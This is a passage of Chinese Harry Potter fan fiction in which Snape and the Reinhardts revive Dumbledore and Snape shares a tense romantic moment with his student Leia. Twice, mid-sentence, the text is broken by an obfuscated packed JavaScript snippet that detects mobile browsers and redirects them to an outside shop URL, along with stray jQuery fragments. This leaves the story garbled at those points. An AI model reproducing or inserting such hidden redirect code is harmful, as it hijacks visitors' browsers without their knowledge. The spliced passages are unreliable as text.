“我不明白,”雷格纳的脸色不太好,他把手肘搁在餐桌上面,开始按自己的额角,“他为什么不跟凤凰社的成员说?而要把这么危险的任务交给哈利一个人。” “显然,邓布利多一直对那个救世主男孩抱有过多的信心。”斯内普冷嘲般笑了一下,继而说道:“或许,他更担心魂器的侵蚀力量。魂器不仅带着可以容易迷惑人心的诅咒,而且摧毁起来极为困难。” 蕾雅想起来邓布利多中诅咒的那个晚上,小声地插话:“他的那只手……” 斯内普点头,“没错。那是魂器的诅咒,也是他自己愚蠢的后果。” 雷格纳长叹了一口气:“现在再去评判他当时的决定已无意义……无论如何,我们还是先把他救出来吧。” 斯内普稍稍抬起下颚,露出一个赞同的表情,就和雷格纳默契地站起了身。 就在蕾雅也跟着站起的时候,两个人立刻皱起眉毛,不约而同地用近乎命令的眼神让她重新坐下。 “呃,我知道啦!”蕾雅不高兴地嘟哝一句,意识到这两个人就没打算带她去。 难以置信!她那明明说过讨厌斯内普的父亲竟然跟斯内普结成了联盟。 蕾雅努了努嘴,只好说道:“那我去把客房整理出来,顺便准备斯内普先生今晚要用的东西。” “拜托你了,宝贝。”雷格纳朝她温柔地笑着。 “如果你实在无事可做,就去准备坩埚。我已经写好接下来的步骤。”斯内普冷冰冰地把话顺着,穿好鞋子走出大门。 尽管如此,蕾雅还是跟着他们一起走了出去。送他们走到花园里,她给了自己的父亲一个紧紧的拥抱,之后望向斯内普。 “答应我,要小心。”她轻声说。 “嗯。”斯内普淡淡地看着她,没有任何表情地点头,就带着雷格纳一起从浓重的夜色里离开了。 46. 挣扎 斯内普带着雷格纳幻影移形到霍格沃茨,停在靠近黑湖一侧的校门边。两人将旅行斗篷的帽子戴上,斯内普在他们周围施展了一道闭耳塞听咒,然后他们各自施加了幻身咒,就是相互也看不见了。 他们沿着小路穿行,踏入霍格沃茨的范围。整座城堡都黑黢黢的,没有一点光亮,厚重的云层垂下来,挤压着湖面,将其映成粘稠的黑色漩涡,像是吞噬一切的深渊,也将这片空间渲染成了悚然可怖的迷宫。 这种氛围去挖邓布利多的墓,可真是。合适。 斯内普在黑暗中扯了扯嘴角,想到。 “有这个咒语,别人就听不见了吗?”雷格纳压低了声音问。 “放心。”斯内普的声音从前方传来,略带冷淡。 “还真是便利。”雷格纳答道,“等下一定要告诉我详细的拼写。” 他们很快拐入草坪,接近了湖边。一座白色的大理石坟墓躺在这无光的夜晚里,兀自散发出静谧神圣的辉光。 “我去左边。”斯内普边说边快步走向坟墓的一侧,手中魔杖闪出一束白光,沿着坟墓的边缘仔细刻过去。 “好。”雷格纳回应,同样操控魔杖,按着斯内普的动作移动着魔杖划开地面的泥土。 “准备好了。”斯内普说。 很快,两根魔杖同时发力,宛如千斤重的白色磐石被平整地抬起,缓慢地移到旁边的草坪上。 躺在里面的,是依旧包裹在紫色天鹅绒里的老人。他的双手交握在胸前,好像是生前护着某样重要的东西般。虽然面色苍白,嘴唇已然皱缩,但其余整个躯体都保存得十分完美,甚至感觉皮肤看上去保持着柔软度,仿佛只是陷入了深沉的睡眠。 “这可真是……。”雷格纳吞咽了一下,以稳定住心里的情绪,“有点惊悚。没带她来是对的。” “我毫不怀疑,她看见这一幕能做个三天噩梦。”斯内普顺着他的话戏谑地说下去,同时魔杖一挥,在草地上变出了一口木柩,平稳地将邓布利多的躯体放入其中。 “不过,你在神秘司见过的东西,恐怕比这更骇人吧?” “虽然我不能说细节,但你是对的。”雷格纳低笑着答。他随手挥动魔杖,一旁的树木应声被斩断。他控制着把树干甩进坟墓里面,再一挥,将其变成了邓布利多的模样。 而后,两个人又迅速合作将白色磐石盖了回去。 回程的路上,斯内普解除了幻身咒,木柩悬浮在他身后。远远看去,这个场景看起来只不过是新任霍格沃茨校长在搬运一个巨大的木箱。 雷格纳保持着幻身咒紧跟走在后面,看着被风撩起的黑色斗篷,终于忍不住开口:“西弗勒斯,我得承认,确实没想到……” “怎么?”斯内普语调依旧平淡。 “说实话,我从第一眼开始就挺讨厌你的,还怀疑过你。”雷格纳有些难堪地说着,随即清了清喉咙,“我为此道歉。” “这无关紧要,”斯内普毫无感情地继续说,“你既不是第一个,也不会是最后一个。” 继续走了一会,斯内普已经走出了霍格沃茨幻影移形的禁制区域,他停下脚步,等候雷格纳赶上。 雷格纳追上他,也解除了幻身咒。他朝斯内普走近了些,紧盯住那双看不出情绪的黑眸:“但你知道她不是。” 斯内普把手轻轻搭在木柩上面,抬头直视着雷格纳,认真地说道:“我很清楚。” 两人幻影移形,出现在莱恩哈特家门前。 “所以。”雷格纳稳住身体,望向斯内普,继续刚才的话题:“她去年暑假是跟你在一起训练?” “是,邓布利多的安排。”斯内普轻描淡写地一应,掂起魔杖,木柩随着他的动作缓缓漂向屋内。 …… 那两个男巫走了以后,蕾雅先点亮了大门的马灯,然后回到屋内开始收拾家里的东西。 她用魔杖指挥餐桌上的餐具飞向洗碗池,在清洗的水声中,她走进客房施展了两发清理一新,换过整套床具,将一侧的床头柜变大了些,好放置魔药。 接着她到书房里,把一侧的小沙发变成舒适的单人床,床单铺得平整,并翻出一套父亲还没有穿过的睡衣,整齐地叠放在枕头上面。 做完了这些,蕾雅把厨具碗具都收好,重新回到坩埚的前面读着斯内普的手记,里面几乎全是细碎繁琐的步骤: 月露花汁液与精华提取、独角兽角粉末与日光石粉末以2:1比例混合、凤凰羽根抽丝…… 都是些复苏和治疗用的材料,但根据处理的手法和组合的不同,药效的强度都会呈现很大的变化。 蕾雅系上围裙,注意到斯内普已经准备好了日光石粉末。她顺着步骤取出一小束月露花,按在砧板上切成细末,随后扔到一侧的坩埚里面先出汁。在等待花茎的精华逐渐融合的过程里,她又开始处理独角兽角,将其切成小块后放入研钵中一下下磨成跟日光石粉末同样的细度。 就在这两样都做得差不多的时候,外面传来父亲与斯内普回来的声音。紧接着,蕾雅隐约听到几声微弱的木撞击声。她好奇地探头向外看,斯内普正大步走过了,同时将她的视线堵了回去。 “我建议你,省下你的好奇心。”斯内普边说边脱下旅行斗篷,随手搭在一旁的扶手椅上。 蕾雅愣在原地,咽了咽喉咙,眼睛还是忍不住往外面的方向斜去:“很……吓人?” “愿意赌上你的晚安睡眠吗?”斯内普讥讽地扬起嘴角,回过头对她露出一个似笑非笑的诡异表情。 “呃……不了。”蕾雅嘀咕着退回到坩埚前,继续之前的作业。 斯内普离开书房后,蕾雅听见他与雷格纳的声音逐渐远去,好像在商讨如何将一个木箱子搬入客房。随后,两人的讨论声从客房方向传来 “或者,今晚就先这样放着吧。” “等明早魔药完成以后,他或许会像个人些。” “行,那就拜托你了,西弗勒斯。不好意思啊,今晚只能让你在书房将就了。” “我不介意……对了,你这里有关于魂器的书吗?” “有的,我一会给你拿。” 这场对话怎么听着这么,恐怖而又温馨?这两个人的关系是不是变得……有点微妙?好像那种知根知底的老朋友一样? 蕾雅听着,晃了晃脑袋,手中捻着的凤凰羽根在书房里微暖的灯光下泛着柔和的光泽,红色的羽丝在她指尖一点点被扯开,如同缠绕在指间的丝缕火舌。 稍晚些时候,雷格纳也挤在了书房里面。形状奇幻的烟雾正在从咕咚咕咚地冒着烟的坩埚上升起,面前的两个人有条不紊地处理着各种材料。魔药材料在他们手中安静地传着,显然是已经配合出一种默契,不需要言语也能精准地预估下一步对方需要做什么那样。 雷格纳看了一阵,不由地觉得有些酸楚的感觉铺在心底。 ——“孩子的事我们就少管了。”亚瑟那张脸很不合时宜地冒了出来。 雷格纳暗自在心底叹着气,走到书墙的一隅,从暗格里翻出几本加了封印的黑魔法书解开,递给斯内普。由于第二天还要上班,他简单道过晚安之后,便离开去洗漱,回主卧休息了。 渐渐,房间里弥散开浑厚浓烈的药味,有点像是深秋树林里落叶过度堆积的那种泥土气息。蕾雅探出头瞅一眼坩埚里逐渐变成黄褐色的魔药,很确定这锅药一定十分的难喝。 她在心底稍稍为邓布利多感到惋惜,随即将银盘中稀释好的龙血递给斯内普:“这样就好了?” “嗯。”斯内普连头都没抬地伸手接过,往银盘里洒两勺月长石粉,用银勺快速搅拌,“你去休息吧。” 蕾雅解下围裙,眼角余光扫见斯内普眼底的一团乌黑。她很快转过头去,只见他的侧脸紧绷,脸颊上还有难以掩饰的疲倦。她于是小声问道:“那您呢。” 斯内普察觉到她的视线,垂下头将脸埋在黑发中,闷声道:“不用你操心。等开始熬制,我会休息。” 蕾雅张了张嘴,本来还想对他说点什么,最终决定还是留到明早,于是简单回到:“好。” 与霍格沃茨的阴森沉重不同,莱恩哈特家的夜是温柔的。虽然今晚没有星月,但邻居家零散的灯光从窗户透出,照亮了篱墙上那几株在夜里悄悄盛开的牵牛花。已是接近午夜时分,道路上也再没有了汽车声,只有树叶与晚风的低声细语。 蕾雅在二楼的浴室里洗过一个温暖的热水澡,换上浅蓝色的棉质背心睡裙。吹干头发后,她赤脚走下楼梯,打算去厨房倒杯牛奶。 拐进一楼,她就瞥见客厅另一头的斯内普,正坐在沙发上看书。显然他也简单洗漱过,只穿着一件白衬衫,显得格外随意放松。他斜斜地倚靠着沙发扶手,左手在交叠的腿上按着一本书,右手肘支撑在扶手,手指正抵着眉间。一盏桌灯搁在茶几的一角,昏暗婉转的暖黄笼罩着他。 蕾雅轻手轻脚地走进厨房,从抽屉里翻出茶包,放入一个深蓝色的马克杯,以热水泡开。她给自己倒了一杯温牛奶,一左一右揣着两个杯子踱向沙发。 斯内普闻声抬起头瞄她一眼,看着她把马克杯放在他面前。 “……谢谢。” “不客气。” 蕾雅的目光在他身上不自觉游走。一点点掠过他仍然带着潮气的黑发,抚在书页上关节分明的手指,再往上些,是微微敞开的衬衫领口,隐约露出线条分明的锁骨。 她慌忙看向别处,鼓着嘴犹豫着,小心地开口:“我可以坐一会儿吗。” “这是你家。”他不以为然地耸耸肩。 蕾雅轻吸一口气,按捺住心里的喧嚣,走到斯内普左手边的沙发前,安静地坐在地毯上面。她将膝盖弯起用睡裙拢住,低头轻抿一口温热的牛奶。 斯内普从书中抬起眼睛,略感讶异地瞥了坐在地上的人一眼,但没有说话,只是翻过了一页书。 从低处侧过头,蕾雅看清了他手中的书,是雷格纳晚上拿给他的那本关于魂器的《尖端黑魔法揭秘》。收回目光,她安心地感受着从身侧包围着她的气息。是的,他的身上又重新有苦涩清冷的药味,是她熟悉的,也是她喜欢的。 蕾雅忐忑着再嘬一口醇厚香甜的白色液体,小心翼翼地试探着:“您……好些吗?” 她指的是邓布利多的事,他明白的。 斯内普的黑眸不动声色地垂下,视线略过她肩上的发丝,一瞬间又错开。他往前俯身,伸手端起她为他准备的那杯茶,喉间发出一声沉闷的哼声,算是回应她之前的问题。 蕾雅轻轻舔了舔嘴唇,随口找着话题:“魔药怎么样了?” “熬着,明早再看。” “所以……黑魔法防御课教授的诅咒,是真的?” “据邓布利多说,是黑魔王的诅咒。”斯内普把喝了一半的茶杯推回茶几,从头读那行写着怎么制造魂器的晦涩句子。 “……这样。不过您还是留在霍格沃茨了。”她呢喃着。而后也把空了的杯子撩在茶几上,随手从那上面抓起一本之前看到一半的《古代魔法传说》,翻阅起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593456|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……嗯。” “您会有危险吗?”她有些执着地问着,侧过脸看他。 “也许。”他淡然地答,眼角懒懒地扫过她的脸,注意到了她也许还有什么话要说,但他并不想给她这个机会。 倏地看见斯内普面容上那种“不想说话”的暗示,蕾雅慌乱地把头扭了回来。 她本来是想求他返校的事,但又不敢开口,因为她知道他肯定会跟父亲一样让她别回去。 可是她想回去。她想跟他在一起。 她在心里重重地叹息一声,苦闷得像堵了团湿水棉花。她许多次忍不住斜斜地偷瞄他,却只见到紧绷成线的薄唇,那里看不出来有任何会放松的迹象,更看不出可以搭话的机会。 肩膀一抖,她只能将自己沉在无声的河里,默默把泛黄的书页推到下一面。 算了,就这样陪他一阵也好。其余的事…… 时间在他们翻书的声音里流淌开去。 斯内普低头认真读着书,是已经很久没有沉浸过这样子的安宁,至少从邓布利多死后就没有过。更奇怪的是,他发现这个小身影坐下以后他变得更加平静,看书的速度也快了许多。 不知过了多久,斯内普已经将手里的书读完三分之一,他的膝盖突然感觉到轻微的碰触。他低下头看去,才发现她抱着书,靠着他睡着了。她的长发随着身体的侧倾滑向一边,掠过他的腿侧,露出一片白雪般的肌肤。 斯内普放在书上的手指轻微僵了一瞬。 很显然,他不该让她这么靠着。他应该赶紧叫醒她,告诉她滚回去楼上睡觉,告诉她别这么毫无防备。可就在他准备开口时,他却迟疑了。 她稍微动了动,嘴里喃喃着:“先生……请您……”好像是在梦呓。 斯内普突兀地想起来之前在图书馆,逮到她临近宵禁还在睡觉的事。那时,是他从她手上骗走那本书,也是以那为切入点,才有了后面一连串他对古书的翻找,才有了后面寻得能够消除诅咒的答案——才有了,一丁点在排山倒海的悔罪与无力感里找到的欣慰。 这一年,将自己从无尽愧疚感中解救出来一些的,分明都缘于她。 斯内普瞬间蹙起眉毛,用力地将所有不该存在的感情都狠狠压在心底。开口的声音也变得低沉而喑哑:“莱恩哈特,回去你的卧室睡觉。” 蕾雅动了一下,嘟囔着揉了揉眼睛,循声转向他。她好像还在恍惚,一双微睁的绿眸迷离而朦胧,眼前是他,梦里也是他。 斯内普感觉喉间一阵发紧,刚被扑灭的焦黑废墟里忽而再次冒出刺眼的星火。他压着声音,又催促一遍:“给我,去睡觉。” 蕾雅半眯着眼,还没反应过来眼前是现实还是梦里。她摇晃着努力保持清醒,但很快就放弃挣扎,无力地把额角抵在他的膝盖上。 她侧着脑袋,顺势抬起手臂搭在他身侧的沙发。她好像清醒了些,但依旧感觉自己在沉浮。 一股熟悉的草药苦涩侵染了她的鼻腔,稍稍抬头,他竟然就在触手可及的地方。 湿润柔软的唇抿了又抿,最后微微张开:“西弗勒斯……” 她的声音如耳畔低语,斯内普的心脏却像是被火燎般骤然扼住。他整个人瞬间笼罩上一层阴郁沉重的乌云,木然的黑眸空洞得宛若万丈深渊。 她一定是睡糊涂了,不然怎么能把头靠在他的膝盖上面。 她一定是睡糊涂了,不然为什么会这样叫他。 “……能不能,让我新学期回去?”她困顿的脸上带着天真,话语也含糊不清。 斯内普的薄唇微曲到淡漠,话语从牙关里生硬挤出:“你知道这是极度愚蠢的做法。” 蕾雅瞪大了眼睛,小小地吸了一口气,孤注一掷般下定决心:“我想跟你一起回去。”她顿了顿,认真地皱眉望他,清澈明亮的瞳仁里溢满原始的诚恳真挚,纯粹朴素得宛如一汪甘泉: “让我跟你一起面对,好吗?” 斯内普的胸中涌现出无数的尖酸刻薄、挖苦讥嘲的话语,在马上就要从嘴边喷薄出之际,却发现自己已然淹没在这温润坚定的眼眸里,所有的言辞都即刻漂散得无影无踪。 为什么?她到底为什么要这样为他? 他为什么——没有推开她? 斯内普的喉咙干涩得发苦,什么话也说不出来。 这是不对的。 这是根本就全错了! 他输得彻底,输得彻底! 等幡然悔悟时,已是太迟! “我只请求你,请求你——”蕾雅直视着他,坚决地摇了摇头,“别再一个人。” “……离开。”他感到懦弱而无助,不得不合上了双眼,像成千上百次那样。 “答应我,西弗勒斯。”她在心疼里执着地探出指尖,谨慎地沿着沙发的弧度往前寻找,最后停在了他手指的前方。 “别再一个人。” 她颤声哽咽,有什么透亮的东西顺着她的动作潸然落下,停驻在了她脸颊上的伤痕一阵,又无情地坠在他的衣物上,浸湿了他。 他被洇得彻底,感觉又冷,又热,浑身像是中了钻心咒一样,又像被一万根箭刺了个透,心肺都撕裂成许多碎片,每一个细胞被潮涌洪流冲散。 此生已是罪业缠身,他怎么会想,他怎么敢想——— 一定是夜太晚了,天太黑了,一定是我迷失了。 ——我想答应你。 他痛苦不已,绝望到卑微。他的独白变成了水中吐出的气泡,滚滚升浮,终究也没能发出一点声响。 47.蛰伏 斯内普从过分陌生的气味里醒来。 被子、枕头,甚至周围的一切,好像都有她身上的味道,是一种与他身上那种阴沉苦涩完全不同的温暖气息。 他并不讨厌这味道,只是觉得很困扰。 从窗边透进来的阳光不偏不倚地落在他的额头上,他被烤得微微蹙眉。他沉重的眼皮掀开一条缝隙,随即被刺目的阳光逼得再次紧闭双眼。他枕着房间角落里坩埚发出的轻微沸腾声翻个身,却被外面传来的食物和咖啡的香气弄得清醒。 几点了? 斯内普瞥一眼书墙一侧的钟,抬手按着眼睛,勉强撑起身体,挣扎着让自己从睡眠不足的状态中清醒过来。 起身以后,他先去查看坩埚的成色。确认无误后,他换上衬衫,用魔杖将床铺和睡衣都整理回原来的模样。从盥洗室简单地洗漱过,他随意用手指拢了拢微卷的黑发,扣好外套的袖口,循着厨房里飘出的香气走向客厅。 让他没想到的是,忙碌在厨房里的并不是蕾雅,而是雷格纳。令他更惊讶的是,雷格纳正在亲手煎着培根,动作看起来十分熟练这份工作。察觉到斯内普的过来,雷格纳转过头对他打了个招呼。 “早,西弗勒斯。魔药怎么样了?”雷格纳就手上的培根逐渐煎成一种微焦可口的颜色:“简单早餐,鸡蛋培根,还有烤黄油吐司,还想吃点什么吗?” “很够了。”斯内普摆摆手,礼貌地说道:“魔药还要大概四十五分钟。” “那正好,趁这段时间吃个舒心的早餐吧。”雷格纳用左手挥了挥魔杖,橱柜上的烤箱兀自打开,三片烤好的黄油面包颤悠悠地飞到他手边的盘子上,“丫头估计还要一会儿才醒,你先坐下吧,早餐马上就好。” 斯内普迟疑着点了点头,生疏地回答:“嗯,谢谢。”他实在是没有过多参与这种话题的经验。 为了缓解尴尬,斯内普随手将昨晚读到一半的书从茶几上召唤过来,拉开餐桌最边上的椅子坐下。紧接着,一杯热腾腾的黑咖啡飞到他手边。 雷格纳一边忙着,一边从余光中瞥向斯内普:“魂器的事,有头绪了吗?” “完全没有,只是终于明白为什么邓布利多要复制格兰芬多宝剑。”斯内普说着,翻动着手中的书页。 “格兰芬多宝剑?!那个传说竟然是真的?”雷格纳正把培根拨到餐盘里,往热油里敲入的三个鸡蛋发出吵杂的滋滋声。“就是那个,真正的格兰芬多能在有需要的时候获得它。可我在学校的时候,从来没见过有人使用过它。” 斯内普把书页往后翻着,嘴角有讥诮:“传说有几分真实性难说,但宝剑的确一直在校长室里。” “哦梅林——那我真想去摸一摸。”雷格纳兴奋地感叹着,他忽然顿了顿,想起什么东西一样转身,“对了。” “怎么?”斯内普挑了挑眉。 雷格纳叹一口气,又背过身去,将成型的鸡蛋小心放进餐盘里。他的语气里有恳求:“如果她执着要回去,呃,你知道我按不住她的。如果是那样,能麻烦你尽量……” 斯内普默默地把书合上,皱起眉毛,抬眼看向正在把早餐端来的雷格纳。他的黑眸收紧,承诺地开口道:“我会尽力而为。” 就在这时,蕾雅带着惺忪的睡眼走进餐厅,嘟哝着:“早,爸爸。” “早,宝贝。”雷格纳将另外两盘早餐放在餐桌上,转身去洗手。 蕾雅感觉餐桌的远端多了一份早餐,她疑惑地顺着探过去,瞄见一个黑色身影。旋即,她脸上的迷糊被一种醒目的红色取代。她立刻垂下脑袋,小声地说道:“早……呃,先生。” 斯内普盯着她眼下的绯红有一瞬,压着嘴角闷哼一声,面不改色地将黑色瞳仁移到别处,抬手把苦涩的液体送入口中。 蕾雅低着头从他身旁走过,倒了一杯咖啡,然后在远离斯内普的地方坐下,安静地开始吃早餐。 早餐后,雷格纳换上工作西装,走到书房门口,笑着拍了拍站在门口显得有些忐忑的蕾雅,推开门走进去。 房间里,斯内普正一条腿跪在床上,右手托着白发老人冰冷的躯体,左手举着一杯冒着烟的红金色浓稠药液。 “需要帮忙吗?”雷格纳连忙靠近一些。 “再好不过。”斯内普说,稍微侧开身子,给雷格纳腾出位置。 雷格纳伸过手来,轻轻掰开老人的嘴唇,垫高他的头颅,好让斯内普将药物一滴不漏地灌进去。 斯内普把空杯撂在床头柜上,掂起魔杖指向邓布利多。他用漆黑的魔杖尖端抵着邓布利多的前额,嘴里开始低声念着一连串咒语,随后,魔杖尖端缓缓移向邓布利多的心脏,而后是腹腔,膝盖,脚。 梅林,这家伙真的像个唤灵的黑巫师,雷格纳心想。要不是他对黑魔法习以为常,他可能还真的一时难以接受面前的景象。 斯内普收起魔杖,用手背轻轻触碰邓布利多,很快感受到逐渐微暖的热度,一丝欣慰悄然从他的黑眸里划过。他松了口气,低声说道:“也许成功了。” 雷格纳瞪大眼,注视着本已经入土为安的老巫师躯体,分明瞅见老人的胸膛逐渐起伏,呼吸变得缓慢却真实。他惊呼一声:“噢梅林的胡子,你也太厉害了。他,他在呼吸。” “不错,但是离真正苏醒还有很长一段时间。”斯内普将邓布利多安放在床中央,替他整理好被褥。 “还要多久?”雷格纳问道,注意到邓布利多的脸已经不再那样苍白。 “我说不准。”斯内普转过身,“这个药每月要服一次,幸运的话,也许下个月他会醒来,但我认为那几乎是不可能。而且,即使他醒来,也还要面对漫长的恢复期。” “毕竟死而复生,能做到这样已经是奇迹。”雷格纳跟在斯内普的后面,感慨得连连摇头,嘴里的称赞更是毫不掩饰:“西弗勒斯,你的能力让我叹服,霍格沃茨能有你真是太好了。” “这段时间,你需要每天为他施展清洁咒,保持水分和营养的摄入。注意皮肤的状况,如果有其他变化,立刻通知我。我每周一会在魔法部,尽量每周来一次。”斯内普平直地叙述着,“实在紧急的情况,请你以魔法部的名义给霍格沃茨校长传信,可以吗?” “这简直不能更贴心了,西弗勒斯。”雷格纳点头,“没问题,我在魔法部各个部门都有些熟人,应该可以周转得开。” 蕾雅不时探头倾听着屋内的情况,被他们那种聊天的氛围感勾起更多的好奇。等他们从书房出来时,她连忙凑上前去:“……成功了?”她小心翼翼地转向父亲。 “成功了,我亲眼所见,邓布利多校长活过来了。”雷格纳微笑着摸了摸她的脑袋,然后向大门走去准备上班。 蕾雅猛地把双手合十抵在嘴边,心中涌起一片欣喜,忍不住侧过头看着那位魔药大师:“太好了,先生!” “嗯。”斯内普瞥了她一眼,稍稍颔首,平时漠然的脸上竟浮出一些平和。 他成功了……! 太好了,梅林终究眷顾了他。 “对了。”雷格纳突然想起什么,嘟哝着转过身,用魔杖从客厅壁炉上方召来一支钢笔,传到站在蕾雅旁边的斯内普面前,“西弗勒斯,我知道飞路网被监控了。这是我们家的门钥匙,已经登记过的。无论什么时候,只要你方便,你随时都可以来。” “这支钢笔是我们家门钥匙?!我怎么从来不知道。”蕾雅惊讶地盯着那只钢笔,想起来它在壁炉上已经躺过至少两年。她忽而觉得,眼前笑容温柔、面容可掬父亲,实力与心思也远比她想象得更强大、更缜密。 斯内普也被雷格纳的举动震住,他的手顿了顿,错愕一瞬才慢慢接过那支黑色的钢笔,上面刻有一个狮子头的纹样。 尽管他努力掩饰情感波动,但蕾雅还是察觉到他的眼里闪烁了一下。他扬起下巴,郑重地对雷格纳说道:“谢谢,雷格纳。” 雷格纳离开去上班了,斯内普也很快准备出发回霍格沃茨。 黑发少女安静地跟他一同整理好手提箱,他将些许后续仍然会用到的魔药材料留在这里。再次去确认过邓布利多的情况后,他们走到莱恩哈特家的花园里。 盯着垂落的黑袍一角,蕾雅终于鼓起勇气开口:“……下一次,是一个月后吗?” “是。”斯内普没有看她,注意力放在随风不安摇摆的格兰芬多围巾上。 “嗯……”蕾雅轻声回应,心里空落落的。 斯内普察觉到她的情绪低落,飞快扫她一眼。他沉默片刻,仿佛是有巨石压在喉咙,艰难地低声道:“到时你也会回来。” “什……?!”蕾雅的眼睛瞪得圆圆的,一时之间没反应过来斯内普是什么意思。下一瞬,她在砰砰巨响的心跳里抬起头去,难以置信地对上他的眼睛,“您是说……” 斯内普迅速避开她的视线,知道那目光会灼伤自己。他往前走两步,以低沉的声音继续说道:“如果那是你的决心。” “是的!请让我跟您一起!”蕾雅急切地答道,但话还没说完,斯内普已经消失了。 四天后,她在国王十字车站与满脸愁容与不舍的雷格纳告别。父亲的拥抱比任何时候都紧,仿佛不愿放手。远处,其他为孩子送行的父母脸上也挂着相同的阴霾。 “蕾雅,记住。”列车开前的最后一刻,雷格纳把手放在她单薄的肩膀上,脸色凝重到宛若是在被剜心掏肺,语调也是前所未有的哽咽深刻:“无论什么时候,你都一定要记住,你是一个莱恩哈特,一个格兰芬多。是我最勇猛、最宝贝的小狮子。” 仅一瞬,蕾雅的眼里就涌出泪水。她重重地点了点头,再次拥抱父亲,然后快步转身钻进霍格沃茨特快,好像害怕自己会后悔一样,再也不敢回头看他一眼。 而本应挤满学生的霍格沃茨特快,此刻至少空了一半,平日喧嚣的欢笑和叫卖声全都消失不见,每个车厢里都只剩下压抑的低声交谈。 蕾雅一手提着行李,一手抹着眼泪地穿行在沉重的车厢里。她冰冷着脸从几张陌生阴沉的面孔旁边走过。那些人身上散发出的气息,让她确信正是那晚对上的食死徒。 她沿着狭窄的过道往前,直到在某一个包厢里面见到满脸愁绪的金妮和纳威,对面座位上的卢娜正低头翻看新一期的《唱唱反调》。 蕾雅轻轻敲敲车厢的门窗,金妮立马向她招了招手。她拉开车门,挥动魔杖将行李甩到架子上,随后朝他们四周布置一道闭耳塞听。 “嗨。”蕾雅这才转过身,一屁股坐在卢娜旁边,跟他们打着招呼,“好了,现在可以放心说话了。” “你居然也会这个咒语。”金妮长长地舒了一口气,仿佛从水里浮出头一样。 蕾雅耸耸肩,微笑着从背包里翻出一包巧克力豆,递给他们:“假期怎么样?你们为什么回来?” “假期——糟透了。”金妮抓了一把巧克力豆,余下的传给纳威,然后愤愤地跟蕾雅讲述暑假里凤凰社怎么把哈利从格里莫广场转移出来,比尔·韦斯莱婚礼上的动乱,以及《预言家日报》对她男友的指控:“我真的气坏了!这怎么可能有人相信这种鬼话呢?” “是啊,我时时刻刻都觉得这个世界已经疯了。”蕾雅看得出来她确实过得糟透,连忙探出身去给她一个安慰的拥抱:“所以,你知道哈利现在在哪里吗?赫敏和罗恩跟他一起吧?” “他们三个是一起。但我不知道他们到底在哪里,而且你说到重点了,我们回来就是为了召集更多的邓布利多军。”金妮叹了口气,眼神和她火红的头发都渐渐暗淡下来。 “那天哈利从婚礼现场消失后,莱姆斯和西里斯曾在格里莫广场见到过他们,但哈利坚持要单独完成邓布利多留给他们的任务。”金妮稍作停顿,“之后,他们就离开了格里莫广场。西里斯生气到不行,每隔几天就会变成阿尼马格斯去寻找他们的踪迹,但是现在风头太紧了,到处都是……。” 金妮突然打住话,甚至连呼吸也一下子停止。蕾雅跟随着她的暗示望去,一个穿着黑色斗篷的人正站在他们包厢的透明门前,鬼鬼祟祟地盯着他们。 食死徒。 纳威朝他们递了个警觉的眼色,默默将巧克力豆传回给蕾雅和卢娜,几个人低头吃着巧克力,装作没看到那人,安静耐心地等待着门外的阴气散去。 “你呢,为什么要回来?”金妮重新转向蕾雅,“我都不相信你的父亲会让你回到霍格沃茨。” “我也是邓布利多军的一员呀。与其一个人在家对着四面墙发呆,我宁愿在这里跟大家一起战斗。而且……暑假时,他们也审问了我的父亲。”蕾雅认真地答道,“这已经是整个巫师界的事了,我也必须做点什么。” “我爸爸说了莱恩哈特先生那件事……。”金妮握住蕾雅的手,抱歉地朝她眨眨眼,旋即露出一个同样坚定的表情:“你是对的。” “他们真的太过分了。”纳威的眼里充满愤懑,“他们也突然闯进我家,肆无忌惮!如果我奶奶没有那么硬朗,早就被他们折磨死了!” “话说,”卢娜突然从杂志里抬起头,轻描淡写地提到:“你们听说了新的老师吗?阿莱克托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13594432|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ·卡罗,教麻瓜研究课,她的哥哥阿米库斯将教黑魔法防御术课。” “早就听说了,那对混蛋。”金妮咬牙切齿地骂一句,“两个食死徒,能教我们什么?” “教我们怎么伤害别人。”纳威嘲讽地补充,眼里快要生出火来,“还有那个西弗勒斯·斯内普,真的难以置信。我们的校长——” “是个叛徒和杀人犯!”金妮愤怒地把话接了下去,“就在凤凰社转移哈利的行动里,斯内普差点就把乔治的耳朵给割掉了,幸好哈利知道治疗的反咒……” 蕾雅不再说话,感觉心脏像是被紧紧揪住。她用力抿住嘴唇,把脸转向窗外以缓解这种难受的闷痛。她感觉有一只残酷的手正按着她的头,往深海旋涡的正中央推下去,她不得不竭力屏住呼吸不让自己溺毙。 一窗之隔,霍格沃茨特快正在经过一亩金黄色的麦田,一望无际的麦穗被初秋的晨风轻轻拂过,微微随风流动的金黄明艳得让人陶醉。几只候鸟伸展着纯白的翅膀,平滑地掠过这片宁静的汪洋。 但是下一瞬,列车无情地驶入隧道,所有美好的东西都消失不见了,眼前的一切骤然变成宛如墨水浓稠的黑雾。 然而,在这种大雾迷茫的苦楚中,她却有一种极度强烈的求生欲望,因为她知道,他也在。 …… 漫长的分院仪式终于结束,西弗勒斯·斯内普拖着厌倦疲乏的脚步回到这间校长室。那位曾经长久驻留于此的伟大仁者,此刻正安静地沉睡在他头顶的画框里,身躯逐渐变得透明。斯内普确信,不会很久,这位老人就会彻底从画框中消失。 